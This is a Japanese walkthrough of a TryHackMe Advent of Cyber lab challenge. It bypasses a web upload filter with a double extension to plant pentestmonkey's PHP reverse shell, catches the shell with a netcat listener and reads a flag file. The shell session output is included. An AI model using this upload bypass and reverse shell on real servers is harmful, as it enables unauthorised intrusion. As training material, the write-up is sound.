[TryHackMe] Advent of Cyber 2, Day 2 - Walkthrough -


本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 2] Web Exploitation: The Elf Strikes Back

ストーリー

昨日の英雄的な行動によって、Christmas Control Centreの制御を取り戻した後、エルフ・McSkidyはあなたへ重要な仕事を任せることを決断しました。

ハッキングされていることが判明しているので、自分たちを守る方法が必要です!開発チームは、工場の周りをうろついている不審者の写真をアップロードするためのエルフ専用ウェブサイトを立ち上げました。プロダクションネットワークへ追加する前に安全であることを確認する必要があります。新たなサーバーに対するセキュリティ監査を実施し、ハッキングされないことを確認してください!

書類の下側に次のメッセージが書かれた付箋があります。

エルフ・McEagerへ
あなたにはシステムの監査用にID番号が割り当てられています。YOUR_ID_HEREこれを使ってサイトのアップロードセクションにアクセスしてください。
頑張ってください。

ID番号を書き留め、ブラウザから「不審者の写真アップロード」システムにアクセスします。

Day 2 - #1.

What string of text needs adding to the URL to get access to the upload page?

ブラウザで「不審者の写真アップロード」システムへアクセスすると、Please enter your ID as a GET parameterと指示が表示されています。

?id=YOUR_ID_HERE

GETパラメータ(GET parameter)」とは、クライアントのWebブラウザから、Webサーバー側に送信するデータをURLの末尾に特定の形式で表示したものです。URLの末尾に?記号を付け、「パラメータ名=値」の形式で記述します。
解答は「?id=YOUR_ID_HERE」がヒントです。

Day 2 - #2.

What type of file is accepted by the site?

アップロードページへアクセスします。

FirefoxではCtrl + UキーでHTMLソースコードを確認することができます。

次のコードが気になります。

<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">

アップロードされたファイルの拡張子をチェックしています。この場合、許可リスト「accept=".jpeg,.jpg,.png"」に含まれる拡張子をもつファイルのみがアップロードの許可がされています。
解答は「画像」の英語表記です。

Day 2 - #3.

In which directory are the uploaded files stored?

画像をアップロードするシステムです。このことからいくつかのディレクトリ名(/uploads,/images, /media,/resourcesなど)を推定することができます。

Day 2 - #4.

Activate your reverse shell and catch it in a netcat listener!

攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けます。

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

Day 2 - #5.

What is the flag in /var/www/flag.txt?

pentestmonkey のリバースシェル php-reverse-shell を設置する方法を検討します。

事前にphp-reverse-shell.phpソースコードを編集し、$ipの値を攻撃端末(Kali)のIPアドレスに変更しておきます。

php-reverse-shell.phpファイルを「不審者の写真アップロード」システムにアップロードします。
そのためには、「ファイル拡張子フィルタリング」を回避する必要があります。

そこで、拡張子を「.jpg.php」に変更します。ファイル拡張子フィルタリングは前方一致にてアップロードされたファイルの拡張子を判別しています。
ここでは、php-reverse-shell.phpshell.jpg.phpへリネームしました。アップロードは成功です。

/uploads/ディレクトリへアクセスします。shell.jpg.phpファイルがアップロードされていることが確認できます。

shell.jpg.phpファイルをクリックすると、攻撃端末で待ち受けていたncが起動します。

kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.211.110] 40344
Linux security-server 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 21:26:19 up  1:52,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (862): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ 

/var/www/ディレクトリにアクセスしてみます。

sh-4.4$ cd /var/www/
sh-4.4$ ls
ls
cgi-bin
flag.txt
html

flag.txtファイルが見つかりました。

cat flag.txt


==============================================================


You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots! 
This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same. 


Have a flag -- you deserve it!
THM{MGU3...{BLOCKED}...Mzhh}


Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
 --Muiri (@MuirlandOracle)


==============================================================

これにて、「不審者の写真アップロード」システムのセキュリティ監査は終了です。このままプロダクションネットワークへ追加するわけにはいかないようです。

2日目のミッションが終了です。

参考になるTryHackMeのルーム

Walkthrough